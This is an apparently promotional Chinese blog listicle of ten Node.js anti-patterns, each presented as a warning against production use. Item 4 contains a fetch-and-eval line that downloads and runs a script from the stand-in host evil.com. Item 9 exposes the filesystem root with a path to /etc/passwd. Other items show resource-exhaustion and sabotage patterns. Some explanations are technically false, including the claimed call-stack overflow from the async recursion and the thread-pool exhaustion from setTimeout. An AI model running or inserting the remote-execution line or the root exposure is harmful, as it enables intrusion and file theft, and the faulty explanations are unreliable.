邪修 Node.js ,10 段“千万别上生产”的黑魔法代码
——仅供技术猎奇,切勿真用!
⚠️ 每条都可能:事件循环阻塞、内存泄漏、CPU 100%、安全裸奔、运维提刀
面试炫技 OK,项目敢用就等死!
1️⃣ 一行事件循环冻结
while (true) {} // 主线程死循环,事件循环直接卡死
浏览器/Node 进程瞬间无响应,只能强杀。
2️⃣ 内存泄漏黑洞
setInterval(() => {
const leak = new Array(1e6).fill(0); // 每 1 秒 8 MB
}, 1000);
不释放大数组,长期运行后 V8 OOM 崩溃。
3️⃣ 异步递归炸裂
async function evil() {
await Promise.resolve();
return evil(); // 永不返回,调用栈指数增长
}
evil();
每次
await
创建新微任务,最终 RangeError: Maximum call stack size exceeded。
4️⃣ 动态 eval
木马
const { execSync } = require('child_process');
eval(execSync('curl -s evil.com/payload.js')); // 远程执行任意代码
运行时拉取远程脚本,杀软直接报警 。
5️⃣ setInterval
+ require
循环加载
setInterval(() => {
delete require.cache[require.resolve('./module')];
require('./module'); // 每 100 ms 重新加载,内存暴涨
}, 100);
模块缓存泄漏,RSS 直线上升。
6️⃣ fs
无限制写日志
const fs = require('fs');
setInterval(() => {
fs.appendFileSync('/tmp/evil.log', 'x'.repeat(1e6)); // 1 MB/次
}, 10);
10 秒写 100 MB,磁盘秒满 。
7️⃣ 高并发拒绝服务
const http = require('http');
http.createServer((req, res) => {
setTimeout(() => res.end('ok'), 0); // 0 ms 延迟,瞬间耗尽线程池
}).listen(3000);
客户端洪水攻击,单核 CPU 100%。
8️⃣ 原型链污染全局
Object.prototype.toString = () => '💥'; // 所有对象行为篡改
console.log(({}).toString()); // 输出 💥
破坏内置方法,调试器原地崩溃 。
9️⃣ 通配符路径遍历
const express = require('express');
const app = express();
app.use('/static', express.static('/')); // 根目录暴露
/static/../../../etc/passwd
直接下载系统文件。
🔟 隐藏定时炸弹
setTimeout(() => {
process.exit(0); // 运行 1 小时后自动自杀
}, 3600 * 1000);
长期潜伏,运维半夜被叫醒。
邪修口诀
“事件循环当陀螺,内存当黑洞;
eval 当暗器,进程当烟花。”
PS
想要正经学习 Node.js ,从编程狮的《Node.js 入门课程》开始!